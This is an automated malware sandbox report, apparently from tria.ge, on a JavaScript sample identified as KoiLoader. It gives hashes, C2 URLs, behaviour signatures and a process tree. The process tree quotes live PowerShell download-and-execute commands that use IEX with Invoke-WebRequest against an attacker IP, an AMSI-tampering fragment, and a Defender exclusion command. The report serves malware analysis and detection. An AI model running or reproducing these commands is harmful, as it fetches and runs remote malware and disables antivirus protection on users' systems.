Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    138s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/01/2025, 13:32

General

  • Target

    r6eac11b8-35d6-bffe-da50-d9e1a5ae832ar.js

  • Size

    1KB

  • MD5

    efcc96851f4724909616b5f3ec81cf79

  • SHA1

    783d14e21e058733ef6cc6ca1e934bcf2533d134

  • SHA256

    a6bda80c9f914fb5b640d3437c264993b49a91d997562d53f5ba8d32ac979ec1

  • SHA512

    c4f152a2caad73ed9a50df2394b59749b6aed00b3135289881c730b9d9d7ec6d34f0fd51e8785ee32da0e2e1b5da3c6b896743b13941d4496c930138e6065e44

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://79.124.78.109/wp-includes/phyllopodan7V7GD.php

exe.dropper

http://79.124.78.109/wp-includes/barasinghaby.ps1

Extracted

Family

koiloader

C2

http://79.124.78.109/flocking.php

Signatures

  • KoiLoader

    KoiLoader is a malware loader written in C++.

  • Koiloader family
  • Detects KoiLoader payload 1 IoCs
  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\r6eac11b8-35d6-bffe-da50-d9e1a5ae832ar.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1488
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$l1 = 'http://79.124.78.109/wp-includes/phyllopodan7V7GD.php'; $l2 = 'http://79.124.78.109/wp-includes/barasinghaby.ps1'; $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*siU*s') {$c=$b}}; $env:paths = '7zTJRTNUX3VD'; IEX(Invoke-WebRequest -UseBasicParsing $l1); IEX(Invoke-WebRequest -UseBasicParsing $l2)"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:456
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'http://79.124.78.109/wp-includes/sd2.ps1')"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4760
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -command IEX(IWR -UseBasicParsing 'http://79.124.78.109/wp-includes/sd2.ps1')
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2508
  • C:\Windows\SysWOW64\DllHost.exe
    C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2604
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:688
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3012
  • C:\Windows\System32\wscript.exe
    C:\Windows\System32\wscript.exe "C:\ProgramData\rcca0d105-8260-4611-8c12-bd85a7208b9fr.js"
    1⤵
      PID:2332
    • C:\Windows\System32\wscript.exe
      C:\Windows\System32\wscript.exe "C:\ProgramData\rcca0d105-8260-4611-8c12-bd85a7208b9fr.js"
      1⤵
        PID:3020

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\rcca0d105-8260-4611-8c12-bd85a7208b9fr.js

        Filesize

        1KB

        MD5

        efcc96851f4724909616b5f3ec81cf79

        SHA1

        783d14e21e058733ef6cc6ca1e934bcf2533d134

        SHA256

        a6bda80c9f914fb5b640d3437c264993b49a91d997562d53f5ba8d32ac979ec1

        SHA512

        c4f152a2caad73ed9a50df2394b59749b6aed00b3135289881c730b9d9d7ec6d34f0fd51e8785ee32da0e2e1b5da3c6b896743b13941d4496c930138e6065e44

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        968cb9309758126772781b83adb8a28f

        SHA1

        8da30e71accf186b2ba11da1797cf67f8f78b47c

        SHA256

        92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

        SHA512

        4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        19KB

        MD5

        a3dd7e0f777f34fcdcb2f3def5f89740

        SHA1

        f8a51437a1f5ce742e59742891c805b767b5dbf7

        SHA256

        11bd21d21de1d136caf34a446235d5cbfe0c4737183fd125e4546127dceeaa03

        SHA512

        d5ab3cbaab475f7953e187ce81b492be6d894218a5d3823e74ad8ccebe66c3824edca0371e2e4b68a92dd4405a41cc9a2d518ddf47dbfbb51b1b77aa497fc01c

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5ml34c5o.tda.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/456-14-0x0000000006010000-0x0000000006364000-memory.dmp

        Filesize

        3.3MB

      • memory/456-24-0x0000000007D30000-0x0000000007D31000-memory.dmp

        Filesize

        4KB

      • memory/456-8-0x0000000005FA0000-0x0000000006006000-memory.dmp

        Filesize

        408KB

      • memory/456-7-0x0000000005F30000-0x0000000005F96000-memory.dmp

        Filesize

        408KB

      • memory/456-4-0x00000000747E0000-0x0000000074F90000-memory.dmp

        Filesize

        7.7MB

      • memory/456-1-0x00000000747EE000-0x00000000747EF000-memory.dmp

        Filesize

        4KB

      • memory/456-19-0x00000000066B0000-0x00000000066CE000-memory.dmp

        Filesize

        120KB

      • memory/456-20-0x0000000006740000-0x000000000678C000-memory.dmp

        Filesize

        304KB

      • memory/456-21-0x0000000006A90000-0x0000000006AAA000-memory.dmp

        Filesize

        104KB

      • memory/456-22-0x0000000007F20000-0x000000000859A000-memory.dmp

        Filesize

        6.5MB

      • memory/456-23-0x00000000747E0000-0x0000000074F90000-memory.dmp

        Filesize

        7.7MB

      • memory/456-70-0x00000000747E0000-0x0000000074F90000-memory.dmp

        Filesize

        7.7MB

      • memory/456-25-0x0000000007DD0000-0x0000000007DDD000-memory.dmp

        Filesize

        52KB

      • memory/456-29-0x00000000747E0000-0x0000000074F90000-memory.dmp

        Filesize

        7.7MB

      • memory/456-5-0x00000000747E0000-0x0000000074F90000-memory.dmp

        Filesize

        7.7MB

      • memory/456-2-0x0000000005120000-0x0000000005156000-memory.dmp

        Filesize

        216KB

      • memory/456-3-0x0000000005790000-0x0000000005DB8000-memory.dmp

        Filesize

        6.2MB

      • memory/456-6-0x0000000005710000-0x0000000005732000-memory.dmp

        Filesize

        136KB

      • memory/456-69-0x00000000747EE000-0x00000000747EF000-memory.dmp

        Filesize

        4KB

      • memory/2508-76-0x0000000007BE0000-0x0000000007C30000-memory.dmp

        Filesize

        320KB

      • memory/2508-75-0x00000000074A0000-0x00000000074BA000-memory.dmp

        Filesize

        104KB

      • memory/2508-74-0x0000000008190000-0x0000000008734000-memory.dmp

        Filesize

        5.6MB

      • memory/2508-73-0x0000000007360000-0x0000000007382000-memory.dmp

        Filesize

        136KB

      • memory/2508-77-0x0000000007CD0000-0x0000000007D62000-memory.dmp

        Filesize

        584KB

      • memory/3012-51-0x0000000007680000-0x000000000769E000-memory.dmp

        Filesize

        120KB

      • memory/3012-68-0x0000000007BB0000-0x0000000007BB8000-memory.dmp

        Filesize

        32KB

      • memory/3012-67-0x0000000007BD0000-0x0000000007BEA000-memory.dmp

        Filesize

        104KB

      • memory/3012-66-0x0000000007AD0000-0x0000000007AE4000-memory.dmp

        Filesize

        80KB

      • memory/3012-65-0x0000000007AC0000-0x0000000007ACE000-memory.dmp

        Filesize

        56KB

      • memory/3012-64-0x0000000007A90000-0x0000000007AA1000-memory.dmp

        Filesize

        68KB

      • memory/3012-63-0x0000000007B10000-0x0000000007BA6000-memory.dmp

        Filesize

        600KB

      • memory/3012-62-0x0000000007900000-0x000000000790A000-memory.dmp

        Filesize

        40KB

      • memory/3012-52-0x00000000076E0000-0x0000000007783000-memory.dmp

        Filesize

        652KB

      • memory/3012-40-0x00000000076A0000-0x00000000076D2000-memory.dmp

        Filesize

        200KB

      • memory/3012-41-0x0000000070600000-0x000000007064C000-memory.dmp

        Filesize

        304KB